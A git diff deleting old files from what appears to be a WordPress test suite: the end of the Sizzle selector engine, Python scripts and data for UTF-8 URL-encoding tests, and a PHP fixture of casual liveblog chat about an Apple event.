- if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
- if ( !inplace ) {
- result.push( elem );
- }
-
- } else if ( inplace ) {
- curLoop[i] = false;
- }
- }
- }
-
- return false;
- },
-
- ID: function( match ) {
- return match[1].replace( rBackslash, "" );
- },
-
- TAG: function( match, curLoop ) {
- return match[1].replace( rBackslash, "" ).toLowerCase();
- },
-
- CHILD: function( match ) {
- if ( match[1] === "nth" ) {
- if ( !match[2] ) {
- Sizzle.error( match[0] );
- }
-
- match[2] = match[2].replace(/^\+|\s*/g, '');
-
- // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
- var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
- match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
- !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
-
- // calculate the numbers (first)n+(last) including if they are negative
- match[2] = (test[1] + (test[2] || 1)) - 0;
- match[3] = test[3] - 0;
- }
- else if ( match[2] ) {
- Sizzle.error( match[0] );
- }
-
- // TODO: Move to normal caching system
- match[0] = done++;
-
- return match;
- },
-
- ATTR: function( match, curLoop, inplace, result, not, isXML ) {
- var name = match[1] = match[1].replace( rBackslash, "" );
-
- if ( !isXML && Expr.attrMap[name] ) {
- match[1] = Expr.attrMap[name];
- }
-
- // Handle if an un-quoted value was used
- match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
-
- if ( match[2] === "~=" ) {
- match[4] = " " + match[4] + " ";
- }
-
- return match;
- },
-
- PSEUDO: function( match, curLoop, inplace, result, not ) {
- if ( match[1] === "not" ) {
- // If we're dealing with a complex expression, or a simple one
- if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
- match[3] = Sizzle(match[3], null, null, curLoop);
-
- } else {
- var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
-
- if ( !inplace ) {
- result.push.apply( result, ret );
- }
-
- return false;
- }
-
- } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
- return true;
- }
-
- return match;
- },
-
- POS: function( match ) {
- match.unshift( true );
-
- return match;
- }
- },
-
- filters: {
- enabled: function( elem ) {
- return elem.disabled === false && elem.type !== "hidden";
- },
-
- disabled: function( elem ) {
- return elem.disabled === true;
- },
-
- checked: function( elem ) {
- return elem.checked === true;
- },
-
- selected: function( elem ) {
- // Accessing this property makes selected-by-default
- // options in Safari work properly
- if ( elem.parentNode ) {
- elem.parentNode.selectedIndex;
- }
-
- return elem.selected === true;
- },
-
- parent: function( elem ) {
- return !!elem.firstChild;
- },
-
- empty: function( elem ) {
- return !elem.firstChild;
- },
-
- has: function( elem, i, match ) {
- return !!Sizzle( match[3], elem ).length;
- },
-
- header: function( elem ) {
- return (/h\d/i).test( elem.nodeName );
- },
-
- text: function( elem ) {
- var attr = elem.getAttribute( "type" ), type = elem.type;
- // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
- // use getAttribute instead to test this case
- return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
- },
-
- radio: function( elem ) {
- return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
- },
-
- checkbox: function( elem ) {
- return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
- },
-
- file: function( elem ) {
- return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
- },
-
- password: function( elem ) {
- return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
- },
-
- submit: function( elem ) {
- var name = elem.nodeName.toLowerCase();
- return (name === "input" || name === "button") && "submit" === elem.type;
- },
-
- image: function( elem ) {
- return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
- },
-
- reset: function( elem ) {
- var name = elem.nodeName.toLowerCase();
- return (name === "input" || name === "button") && "reset" === elem.type;
- },
-
- button: function( elem ) {
- var name = elem.nodeName.toLowerCase();
- return name === "input" && "button" === elem.type || name === "button";
- },
-
- input: function( elem ) {
- return (/input|select|textarea|button/i).test( elem.nodeName );
- },
-
- focus: function( elem ) {
- return elem === elem.ownerDocument.activeElement;
- }
- },
- setFilters: {
- first: function( elem, i ) {
- return i === 0;
- },
-
- last: function( elem, i, match, array ) {
- return i === array.length - 1;
- },
-
- even: function( elem, i ) {
- return i % 2 === 0;
- },
-
- odd: function( elem, i ) {
- return i % 2 === 1;
- },
-
- lt: function( elem, i, match ) {
- return i < match[3] - 0;
- },
-
- gt: function( elem, i, match ) {
- return i > match[3] - 0;
- },
-
- nth: function( elem, i, match ) {
- return match[3] - 0 === i;
- },
-
- eq: function( elem, i, match ) {
- return match[3] - 0 === i;
- }
- },
- filter: {
- PSEUDO: function( elem, match, i, array ) {
- var name = match[1],
- filter = Expr.filters[ name ];
-
- if ( filter ) {
- return filter( elem, i, match, array );
-
- } else if ( name === "contains" ) {
- return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
-
- } else if ( name === "not" ) {
- var not = match[3];
-
- for ( var j = 0, l = not.length; j < l; j++ ) {
- if ( not[j] === elem ) {
- return false;
- }
- }
-
- return true;
-
- } else {
- Sizzle.error( name );
- }
- },
-
- CHILD: function( elem, match ) {
- var first, last,
- doneName, parent, cache,
- count, diff,
- type = match[1],
- node = elem;
-
- switch ( type ) {
- case "only":
- case "first":
- while ( (node = node.previousSibling) ) {
- if ( node.nodeType === 1 ) {
- return false;
- }
- }
-
- if ( type === "first" ) {
- return true;
- }
-
- node = elem;
-
- /* falls through */
- case "last":
- while ( (node = node.nextSibling) ) {
- if ( node.nodeType === 1 ) {
- return false;
- }
- }
-
- return true;
-
- case "nth":
- first = match[2];
- last = match[3];
-
- if ( first === 1 && last === 0 ) {
- return true;
- }
-
- doneName = match[0];
- parent = elem.parentNode;
-
- if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
- count = 0;
-
- for ( node = parent.firstChild; node; node = node.nextSibling ) {
- if ( node.nodeType === 1 ) {
- node.nodeIndex = ++count;
- }
- }
-
- parent[ expando ] = doneName;
- }
-
- diff = elem.nodeIndex - last;
-
- if ( first === 0 ) {
- return diff === 0;
-
- } else {
- return ( diff % first === 0 && diff / first >= 0 );
- }
- }
- },
-
- ID: function( elem, match ) {
- return elem.nodeType === 1 && elem.getAttribute("id") === match;
- },
-
- TAG: function( elem, match ) {
- return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
- },
-
- CLASS: function( elem, match ) {
- return (" " + (elem.className || elem.getAttribute("class")) + " ")
- .indexOf( match ) > -1;
- },
-
- ATTR: function( elem, match ) {
- var name = match[1],
- result = Sizzle.attr ?
- Sizzle.attr( elem, name ) :
- Expr.attrHandle[ name ] ?
- Expr.attrHandle[ name ]( elem ) :
- elem[ name ] != null ?
- elem[ name ] :
- elem.getAttribute( name ),
- value = result + "",
- type = match[2],
- check = match[4];
-
- return result == null ?
- type === "!=" :
- !type && Sizzle.attr ?
- result != null :
- type === "=" ?
- value === check :
- type === "*=" ?
- value.indexOf(check) >= 0 :
- type === "~=" ?
- (" " + value + " ").indexOf(check) >= 0 :
- !check ?
- value && result !== false :
- type === "!=" ?
- value !== check :
- type === "^=" ?
- value.indexOf(check) === 0 :
- type === "$=" ?
- value.substr(value.length - check.length) === check :
- type === "|=" ?
- value === check || value.substr(0, check.length + 1) === check + "-" :
- false;
- },
-
- POS: function( elem, match, i, array ) {
- var name = match[2],
- filter = Expr.setFilters[ name ];
-
- if ( filter ) {
- return filter( elem, i, match, array );
- }
- }
- }
-};
-
-var origPOS = Expr.match.POS,
- fescape = function(all, num){
- return "\\" + (num - 0 + 1);
- };
-
-for ( var type in Expr.match ) {
- Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
- Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
-}
-// Expose origPOS
-// "global" as in regardless of relation to brackets/parens
-Expr.match.globalPOS = origPOS;
-
-var makeArray = function( array, results ) {
- array = Array.prototype.slice.call( array, 0 );
-
- if ( results ) {
- results.push.apply( results, array );
- return results;
- }
-
- return array;
-};
-
-// Perform a simple check to determine if the browser is capable of
-// converting a NodeList to an array using builtin methods.
-// Also verifies that the returned array holds DOM nodes
-// (which is not the case in the Blackberry browser)
-try {
- Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
-
-// Provide a fallback method if it does not work
-} catch( e ) {
- makeArray = function( array, results ) {
- var i = 0,
- ret = results || [];
-
- if ( toString.call(array) === "[object Array]" ) {
- Array.prototype.push.apply( ret, array );
-
- } else {
- if ( typeof array.length === "number" ) {
- for ( var l = array.length; i < l; i++ ) {
- ret.push( array[i] );
- }
-
- } else {
- for ( ; array[i]; i++ ) {
- ret.push( array[i] );
- }
- }
- }
-
- return ret;
- };
-}
-
-var sortOrder, siblingCheck;
-
-if ( document.documentElement.compareDocumentPosition ) {
- sortOrder = function( a, b ) {
- if ( a === b ) {
- hasDuplicate = true;
- return 0;
- }
-
- if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
- return a.compareDocumentPosition ? -1 : 1;
- }
-
- return a.compareDocumentPosition(b) & 4 ? -1 : 1;
- };
-
-} else {
- sortOrder = function( a, b ) {
- // The nodes are identical, we can exit early
- if ( a === b ) {
- hasDuplicate = true;
- return 0;
-
- // Fallback to using sourceIndex (in IE) if it's available on both nodes
- } else if ( a.sourceIndex && b.sourceIndex ) {
- return a.sourceIndex - b.sourceIndex;
- }
-
- var al, bl,
- ap = [],
- bp = [],
- aup = a.parentNode,
- bup = b.parentNode,
- cur = aup;
-
- // If the nodes are siblings (or identical) we can do a quick check
- if ( aup === bup ) {
- return siblingCheck( a, b );
-
- // If no parents were found then the nodes are disconnected
- } else if ( !aup ) {
- return -1;
-
- } else if ( !bup ) {
- return 1;
- }
-
- // Otherwise they're somewhere else in the tree so we need
- // to build up a full list of the parentNodes for comparison
- while ( cur ) {
- ap.unshift( cur );
- cur = cur.parentNode;
- }
-
- cur = bup;
-
- while ( cur ) {
- bp.unshift( cur );
- cur = cur.parentNode;
- }
-
- al = ap.length;
- bl = bp.length;
-
- // Start walking down the tree looking for a discrepancy
- for ( var i = 0; i < al && i < bl; i++ ) {
- if ( ap[i] !== bp[i] ) {
- return siblingCheck( ap[i], bp[i] );
- }
- }
-
- // We ended someplace up the tree so do a sibling check
- return i === al ?
- siblingCheck( a, bp[i], -1 ) :
- siblingCheck( ap[i], b, 1 );
- };
-
- siblingCheck = function( a, b, ret ) {
- if ( a === b ) {
- return ret;
- }
-
- var cur = a.nextSibling;
-
- while ( cur ) {
- if ( cur === b ) {
- return -1;
- }
-
- cur = cur.nextSibling;
- }
-
- return 1;
- };
-}
-
-// Check to see if the browser returns elements by name when
-// querying by getElementById (and provide a workaround)
-(function(){
- // We're going to inject a fake input element with a specified name
- var form = document.createElement("div"),
- id = "script" + (new Date()).getTime(),
- root = document.documentElement;
-
- form.innerHTML = "";
-
- // Inject it into the root element, check its status, and remove it quickly
- root.insertBefore( form, root.firstChild );
-
- // The workaround has to do additional checks after a getElementById
- // Which slows things down for other browsers (hence the branching)
- if ( document.getElementById( id ) ) {
- Expr.find.ID = function( match, context, isXML ) {
- if ( typeof context.getElementById !== "undefined" && !isXML ) {
- var m = context.getElementById(match[1]);
-
- return m ?
- m.id === match[1] || typeof m.getAttributeNode !== "undefined" && m.getAttributeNode("id").nodeValue === match[1] ?
- [m] :
- undefined :
- [];
- }
- };
-
- Expr.filter.ID = function( elem, match ) {
- var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
-
- return elem.nodeType === 1 && node && node.nodeValue === match;
- };
- }
-
- root.removeChild( form );
-
- // release memory in IE
- root = form = null;
-})();
-
-(function(){
- // Check to see if the browser returns only elements
- // when doing getElementsByTagName("*")
-
- // Create a fake element
- var div = document.createElement("div");
- div.appendChild( document.createComment("") );
-
- // Make sure no comments are found
- if ( div.getElementsByTagName("*").length > 0 ) {
- Expr.find.TAG = function( match, context ) {
- var results = context.getElementsByTagName( match[1] );
-
- // Filter out possible comments
- if ( match[1] === "*" ) {
- var tmp = [];
-
- for ( var i = 0; results[i]; i++ ) {
- if ( results[i].nodeType === 1 ) {
- tmp.push( results[i] );
- }
- }
-
- results = tmp;
- }
-
- return results;
- };
- }
-
- // Check to see if an attribute returns normalized href attributes
- div.innerHTML = "";
-
- if ( div.firstChild && typeof div.firstChild.getAttribute !== "undefined" &&
- div.firstChild.getAttribute("href") !== "#" ) {
-
- Expr.attrHandle.href = function( elem ) {
- return elem.getAttribute( "href", 2 );
- };
- }
-
- // release memory in IE
- div = null;
-})();
-
-if ( document.querySelectorAll ) {
- (function(){
- var oldSizzle = Sizzle,
- div = document.createElement("div"),
- id = "__sizzle__";
-
- div.innerHTML = "";
-
- // Safari can't handle uppercase or unicode characters when
- // in quirks mode.
- if ( div.querySelectorAll && div.querySelectorAll(".TEST").length === 0 ) {
- return;
- }
-
- Sizzle = function( query, context, extra, seed ) {
- context = context || document;
-
- // Only use querySelectorAll on non-XML documents
- // (ID selectors don't work in non-HTML documents)
- if ( !seed && !Sizzle.isXML(context) ) {
- // See if we find a selector to speed up
- var match = /^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec( query );
-
- if ( match && (context.nodeType === 1 || context.nodeType === 9) ) {
- // Speed-up: Sizzle("TAG")
- if ( match[1] ) {
- return makeArray( context.getElementsByTagName( query ), extra );
-
- // Speed-up: Sizzle(".CLASS")
- } else if ( match[2] && Expr.find.CLASS && context.getElementsByClassName ) {
- return makeArray( context.getElementsByClassName( match[2] ), extra );
- }
- }
-
- if ( context.nodeType === 9 ) {
- // Speed-up: Sizzle("body")
- // The body element only exists once, optimize finding it
- if ( query === "body" && context.body ) {
- return makeArray( [ context.body ], extra );
-
- // Speed-up: Sizzle("#ID")
- } else if ( match && match[3] ) {
- var elem = context.getElementById( match[3] );
-
- // Check parentNode to catch when Blackberry 4.6 returns
- // nodes that are no longer in the document #6963
- if ( elem && elem.parentNode ) {
- // Handle the case where IE and Opera return items
- // by name instead of ID
- if ( elem.id === match[3] ) {
- return makeArray( [ elem ], extra );
- }
-
- } else {
- return makeArray( [], extra );
- }
- }
-
- try {
- return makeArray( context.querySelectorAll(query), extra );
- } catch(qsaError) {}
-
- // qSA works strangely on Element-rooted queries
- // We can work around this by specifying an extra ID on the root
- // and working up from there (Thanks to Andrew Dupont for the technique)
- // IE 8 doesn't work on object elements
- } else if ( context.nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
- var oldContext = context,
- old = context.getAttribute( "id" ),
- nid = old || id,
- hasParent = context.parentNode,
- relativeHierarchySelector = /^\s*[+~]/.test( query );
-
- if ( !old ) {
- context.setAttribute( "id", nid );
- } else {
- nid = nid.replace( /'/g, "\\$&" );
- }
- if ( relativeHierarchySelector && hasParent ) {
- context = context.parentNode;
- }
-
- try {
- if ( !relativeHierarchySelector || hasParent ) {
- return makeArray( context.querySelectorAll( "[id='" + nid + "'] " + query ), extra );
- }
-
- } catch(pseudoError) {
- } finally {
- if ( !old ) {
- oldContext.removeAttribute( "id" );
- }
- }
- }
- }
-
- return oldSizzle(query, context, extra, seed);
- };
-
- for ( var prop in oldSizzle ) {
- Sizzle[ prop ] = oldSizzle[ prop ];
- }
-
- // release memory in IE
- div = null;
- })();
-}
-
-(function(){
- var html = document.documentElement,
- matches = html.matchesSelector || html.mozMatchesSelector || html.webkitMatchesSelector || html.msMatchesSelector;
-
- if ( matches ) {
- // Check to see if it's possible to do matchesSelector
- // on a disconnected node (IE 9 fails this)
- var disconnectedMatch = !matches.call( document.createElement( "div" ), "div" ),
- pseudoWorks = false;
-
- try {
- // This should fail with an exception
- // Gecko does not error, returns false instead
- matches.call( document.documentElement, "[test!='']:sizzle" );
-
- } catch( pseudoError ) {
- pseudoWorks = true;
- }
-
- Sizzle.matchesSelector = function( node, expr ) {
- // Make sure that attribute selectors are quoted
- expr = expr.replace(/\=\s*([^'"\]]*)\s*\]/g, "='$1']");
-
- if ( !Sizzle.isXML( node ) ) {
- try {
- if ( pseudoWorks || !Expr.match.PSEUDO.test( expr ) && !/!=/.test( expr ) ) {
- var ret = matches.call( node, expr );
-
- // IE 9's matchesSelector returns false on disconnected nodes
- if ( ret || !disconnectedMatch ||
- // As well, disconnected nodes are said to be in a document
- // fragment in IE 9, so check for that
- node.document && node.document.nodeType !== 11 ) {
- return ret;
- }
- }
- } catch(e) {}
- }
-
- return Sizzle(expr, null, null, [node]).length > 0;
- };
- }
-})();
-
-(function(){
- var div = document.createElement("div");
-
- div.innerHTML = "";
-
- // Opera can't find a second classname (in 9.6)
- // Also, make sure that getElementsByClassName actually exists
- if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
- return;
- }
-
- // Safari caches class attributes, doesn't catch changes (in 3.2)
- div.lastChild.className = "e";
-
- if ( div.getElementsByClassName("e").length === 1 ) {
- return;
- }
-
- Expr.order.splice(1, 0, "CLASS");
- Expr.find.CLASS = function( match, context, isXML ) {
- if ( typeof context.getElementsByClassName !== "undefined" && !isXML ) {
- return context.getElementsByClassName(match[1]);
- }
- };
-
- // release memory in IE
- div = null;
-})();
-
-function dirNodeCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
- for ( var i = 0, l = checkSet.length; i < l; i++ ) {
- var elem = checkSet[i];
-
- if ( elem ) {
- var match = false;
-
- elem = elem[dir];
-
- while ( elem ) {
- if ( elem[ expando ] === doneName ) {
- match = checkSet[elem.sizset];
- break;
- }
-
- if ( elem.nodeType === 1 && !isXML ){
- elem[ expando ] = doneName;
- elem.sizset = i;
- }
-
- if ( elem.nodeName.toLowerCase() === cur ) {
- match = elem;
- break;
- }
-
- elem = elem[dir];
- }
-
- checkSet[i] = match;
- }
- }
-}
-
-function dirCheck( dir, cur, doneName, checkSet, nodeCheck, isXML ) {
- for ( var i = 0, l = checkSet.length; i < l; i++ ) {
- var elem = checkSet[i];
-
- if ( elem ) {
- var match = false;
-
- elem = elem[dir];
-
- while ( elem ) {
- if ( elem[ expando ] === doneName ) {
- match = checkSet[elem.sizset];
- break;
- }
-
- if ( elem.nodeType === 1 ) {
- if ( !isXML ) {
- elem[ expando ] = doneName;
- elem.sizset = i;
- }
-
- if ( typeof cur !== "string" ) {
- if ( elem === cur ) {
- match = true;
- break;
- }
-
- } else if ( Sizzle.filter( cur, [elem] ).length > 0 ) {
- match = elem;
- break;
- }
- }
-
- elem = elem[dir];
- }
-
- checkSet[i] = match;
- }
- }
-}
-
-if ( document.documentElement.contains ) {
- Sizzle.contains = function( a, b ) {
- return a !== b && (a.contains ? a.contains(b) : true);
- };
-
-} else if ( document.documentElement.compareDocumentPosition ) {
- Sizzle.contains = function( a, b ) {
- return !!(a.compareDocumentPosition(b) & 16);
- };
-
-} else {
- Sizzle.contains = function() {
- return false;
- };
-}
-
-Sizzle.isXML = function( elem ) {
- // documentElement is verified for cases where it doesn't yet exist
- // (such as loading iframes in IE - #4833)
- var documentElement = (elem ? elem.ownerDocument || elem : 0).documentElement;
-
- return documentElement ? documentElement.nodeName !== "HTML" : false;
-};
-
-var posProcess = function( selector, context, seed ) {
- var match,
- tmpSet = [],
- later = "",
- root = context.nodeType ? [context] : context;
-
- // Position selectors must be done after the filter
- // And so must :not(positional) so we move all PSEUDOs to the end
- while ( (match = Expr.match.PSEUDO.exec( selector )) ) {
- later += match[0];
- selector = selector.replace( Expr.match.PSEUDO, "" );
- }
-
- selector = Expr.relative[selector] ? selector + "*" : selector;
-
- for ( var i = 0, l = root.length; i < l; i++ ) {
- Sizzle( selector, root[i], tmpSet, seed );
- }
-
- return Sizzle.filter( later, tmpSet );
-};
-
-// EXPOSE
-
-window.Sizzle = Sizzle;
-
-})();
\ No newline at end of file
diff --git a/tests/data/formatting/utf-8/README b/tests/data/formatting/utf-8/README
deleted file mode 100644
index 5bc6a31..0000000
--- a/tests/data/formatting/utf-8/README
+++ /dev/null
@@ -1,15 +0,0 @@
-The Python scripts are for generating test data, because Python's Unicode
-support is much, much, much, much better than PHP's.
-
- * `utf-8/urlencode.py`, `utf-8/u-urlencode.py` and `utf-8/entitize.py` process UTF-8
- into a few different formats (%-encoding, %u-encoding, decimal;)
- and are used like normal UNIXy pipes.
-
- Try:
-
- `python urlencode.py < utf-8.txt > urlencoded.txt`
- `python u-urlencode.py < utf-8.txt > u-urlencoded.txt`
- `python entitize.py < utf-8.txt > entitized.txt`
-
- * `windows-1252.py` converts Windows-only smart-quotes and things
- into their unicode decimal reference; equivalents.
diff --git a/tests/data/formatting/utf-8/urlencode.py b/tests/data/formatting/utf-8/urlencode.py
deleted file mode 100644
index 910b796..0000000
--- a/tests/data/formatting/utf-8/urlencode.py
+++ /dev/null
@@ -1,33 +0,0 @@
-# Generates urlencoded.txt from utf-8.txt
-#
-# urlencoded.txt is used by Tests_Formatting_Utf8UriEncode
-
-import urllib, codecs, re
-import sys
-
-# uncapitalize pct-encoded values, leave the rest alone
-capfix = re.compile("%([0-9A-Z]{2})");
-def fix(match):
- octet = match.group(1)
- intval = int(octet, 16)
- if intval < 128:
- return chr(intval).lower()
- return '%' + octet.lower()
-
-def urlencode(line):
- """Percent-encode each byte of non-ASCII unicode characters."""
- line = urllib.quote(line.strip().encode("utf-8"))
- line = capfix.sub(fix, line)
- return line
-
-if __name__ == "__main__":
- args = sys.argv[1:]
- if args and args[0] in ("-h", "--help"):
- print "Usage: python urlencode.py < utf-8.txt > urlencoded.txt"
- sys.exit(2)
-
- sys.stdin = codecs.getreader("utf-8")(sys.stdin)
- sys.stdout = codecs.getwriter("ascii")(sys.stdout)
-
- lines = sys.stdin.readlines()
- sys.stdout.write( "\n".join(map(urlencode, lines)) )
diff --git a/tests/data/formatting/utf-8/urlencoded.txt b/tests/data/formatting/utf-8/urlencoded.txt
deleted file mode 100644
index 48a642e..0000000
--- a/tests/data/formatting/utf-8/urlencoded.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-%e7%ab%a0%e5%ad%90%e6%80%a1
-Fran%c3%a7ois Truffaut
-%e1%83%a1%e1%83%90%e1%83%a5%e1%83%90%e1%83%a0%e1%83%97%e1%83%95%e1%83%94%e1%83%9a%e1%83%9d
-Bj%c3%b6rk Gu%c3%b0mundsd%c3%b3ttir
-%e5%ae%ae%e5%b4%8e%e3%80%80%e9%a7%bf
-%f0%9f%91%8d
\ No newline at end of file
diff --git a/tests/data/formatting/utf-8/utf-8.txt b/tests/data/formatting/utf-8/utf-8.txt
deleted file mode 100644
index aaedae7..0000000
--- a/tests/data/formatting/utf-8/utf-8.txt
+++ /dev/null
@@ -1,6 +0,0 @@
-章子怡
-François Truffaut
-საქართველო
-Björk Guðmundsdóttir
-宮崎 駿
-👍
diff --git a/tests/data/formatting/whole-posts.php b/tests/data/formatting/whole-posts.php
deleted file mode 100644
index 3a4f13c..0000000
--- a/tests/data/formatting/whole-posts.php
+++ /dev/null
@@ -1,1282 +0,0 @@
-
-
ARE YOU READY PHIL!?
-
-
Music is streaming
-Tom Merritt on twitter: Apple has made their first announcement "Please turn electronic devices to silent." Does this meet expectations?
-I AM READY!
-"It\'s all better now" does that mean something?more
-
-
I WISH I HAD MONEY TO GIVE APPLE!
-
-
IT STARTED
-
-
Apple has patented the period!
-
-
Hi Aaron!
-You can complain now!
-
-
Finally!
-Two of you!
-
-
-
I\'ve seen this video before. It\'s good but I really wanted a new one.
-
-
OH MY GO.... oh it\'s just Tim Cook
-
-
They probably paid more for that video than Phils yearly salary.
-
-
Flower petals!
-
-
Thanks Bob.
-
-
BRING BACK THE FLOWER POWER IMACS!
-
-
PRODUCTS HE SAID PRODUCTS PLURAL!
-But first, I have a lot of large numbers to show you!
-
-
Take a drink!
-
-
Amazing 5C. Which no one is buying.
-
-
STUNNING
-
-
Should be formerly of the Wall Street Journal.
-I also hope they bring up Pogue.
-
-
Hey made a new video for you Aaron!
-
-
They should just play an old video.
-
-
Slide called video before the video.
-
-
I want a glass dodecahedron.
-
-
Look at all these happy people who are touching our products? Don\'t you want to be happy?
-
-
This better all be shot on an iPhone
-
-
Shot on Film
-
-
The Chinese are a happy people, when you give them iPhones
-
-
Id be happy too if I had the money to blow on an unsubsidized iPhone 5s.
-Or eight.
-
-
Look, this guy bought 5 of them!
-
-
That guy bought up cases ... I hope the employees laughed at him.
-
-
He CAN speak for everyone at apple.
-
-
The cut at the end to the logo tag was awkward.
-
-
Hundreds of millions of customers.
-
-
Formerly of the New York Times
-
-
MORE BIG NUMBERS!!
-
-
I wish they put all of the zeroes on the screen.
-Then we could add up all of the zeroes.
-That is pretty stunning. We still have Windows XP running here.
-
-
Apple should be running the gov healthcare website.
-
-
No one wants to run that piece of junk.
-
-
He seems a little under prepared... is he excited or did he only practice this 12 times?
-
-
Apple is hopefully smart enough to stay out of government.
-Thar be dragons!
-
-
"After we paid him a hundred thousand dollars to say that..."
-
-
Id do it for half that.
-
-
ANOTHER BIG NUMBER!
-
-
Not enough zeroes.
-
-
A SINGLE DIGIT BIG NUMBER!
-
-
There we go ... nine zeroes!
-
-
6 Zeros!
-10 Zeroes!
-STAGGERING!
-
-
Personally, I love the fact that Apple is thumbing their nose at all of the graphic designers out there by continuing to use those icons.
-
-
9 more zeroes!
-Phenomenal!
-
-
Take a drink for each zero?
-
-
Can I get checks with the Apple logo on them? For all my apple purchases...
-
-
How soon until you die of alcohol poisoning?
-LOL
-
-
Dead
-
-
I bet Tim has it.
-And were giving Mavericks away for free today! Sorry Siracusa!
-
-
Was Tim around at the beginning? How does he know that that has always been the single purpose?
-
-
Heh.
-I think Steve probably left him a note in his desk.
-
-
What\'s wrong with the slides?
-
-
Ooooo.... competition! Take a drink.
-
-
Dear Tim, this is what Apple is about.
-
-
I\'d hit that.
-
-
Lots if weird shapes dimming over the slides
-
-
Its a feature.
-
-
A feabug!
-YES!
-CRAIG!
-
-
YAY CRAIG!!! Who\'s Craig?
-HAIR FORCE ONE!!
-
-
10 10
-
-
I like the fact that he owns up to the fact that his hair is greying.
-Hes like I have grey hair ... so Im going to have a ton of it.
-
-
Smooth the Mac experience.
-
-
It looks more bronze today... did he go gold?
-
-
Hhmm.
-Maybe.
-Hanging out with Jony.
-
-
Wait... what?
-LOL
-My door is open Craig! My door is open!
-
-
Oh Craig, I was on the Apple Campus when he did his first event and he was NERVOUS.
-
-
He likes to talk with hand motions.
-
-
Run ALL the apps!
-
-
GRADIENTS ON EVERYTHING!
-Whoa! That\'s a small number!
-
-
I love it.
-
-
AND NOW ITS A BIG NUMBER AGAIN!
-
-
Wait, where are we. Someone brought me a cable that looks like S-Video to USB ... which is basically impossible.
-
-
LOL
-Seems legit.
-
-
They love their xs.
-
-
Yay! updates to a browser I don\'t use!
-You can play tag in the finder!
-
-
Display-handling is much better.
-Ah, I love flubs. They arent robots.
-
-
...is with a new computer!
-
-
Lip sync.
-
-
And here we have a new Mac Pro driving two 4K monitors.
-
-
The mac has no equal when it comes to running Pages.
-
-
You can have it for only 75,000 euros.
-
-
Which is like 34 cents American.
-
-
Apple rocket!
-
-
Jony has some in the lab.
-
-
"We bought NASA"
-
-
iLaunch
-
-
Got a good deal from the government.
-
-
Launch pad
-
-
Oooh, those are new icons.... is this a new Pages?
-
-
I have a feeling Amazon would buy NASA before Apple.
-
-
Did I miss him saying that this is a new Pages?
-
-
Probably just Bezos.
-No.
-
-
Free shipping to Mars.
-
-
He hasnt said it yet ...
-
-
That would make sense, because it would be silly for them to give old features... but those are new icons!
-PAGES 2014!!!
-
-
Maybe the rover needs a new iPhone.
-
-
LOL
-
-
Oh Craig.
-Nice work bringing the wife into the event.
-
-
Dang, he\'s taken ;-p
-He\'s canceling that account the minute he gets off stage.
-
-
And now my social security number...
-
-
There\'s probably an intern doing that for him right now.
-
-
But you\'ll never get my thumbprint.
-
-
THIS DEMO IS FANTASTIC
-It\'s more of a comic routine than anything new.
-
-
New calendar app! *rimshot*
-
-
Alright, now for the good stuff!
-... date ... price ...
-
-
so we actually released it yesterday!
-
-
Free.
-
-
... Wait... wait
-wait...
-
-
Its free.
-Has to be free.
-
-
New era.
-
-
Or theyre going to pay you!
-
-
has to be fre:OIHSEg;kuahrg ouhWTPOIUGGSR:IGH SK>JGu;SFghe
-a;ofg ;SFUY[OISDUg;aefgn.kajefhg ;oadufghd
-;oaeirgp ;Skadgipy9q347t;gkufbvzkdjb;adigue
-a;eorpugy ap97fdgy bpiduzlfbkv.zkjxcvh;a owithg2;iuhlzbdfjk
-
-
And it was shipped last week!
-Come on Craig ...
-
-
With the purchase of an overpriced machine.
-
-
FREE FOR EVERYONE
-LIKE LINUX
-
-
Thats awesome. Great work.
-
-
Wow
-Wow
-Woooooow!
-
-
Entitled to Mavericks.
-
-
TODAY!!
-A:OIY POGUSRH:IGUHSFPIUG&SF*I
-
-
BOOM!
-
-
I"M CALLING IN SICK.
-
-
Siracusa just cried.
-
-
Ok. Presentations over. Go get Mavericks.
-
-
LOL
-
-
I\'M NOT BACKED UP!!!
-
-
UNTUCKED SHIRT!
-
-
I WASN\'T PREPARED FOR THIS
-
-
This is great news. I like that theyre going free for everyone. Thats awesome.
-
-
Cue Video of People screaming and running out of Apple stores with free OS
-
-
LOOT ALL THE THINGS
-
-
That is the problem.
-I still remember paying $129 for Tiger.
-
-
Oooh, Macbook Pro update?
-
-
FOR A BOX!
-That poor tree.
-Haswell.
-Im guessing non-Retina is dead.
-
-
WHAT? HOW CAN THEY DO THIS BLACK MAGIC!?!?
-
-
So thin you can cut yourself on the edges.
-
-
... and it is purple.
-Thats good news.
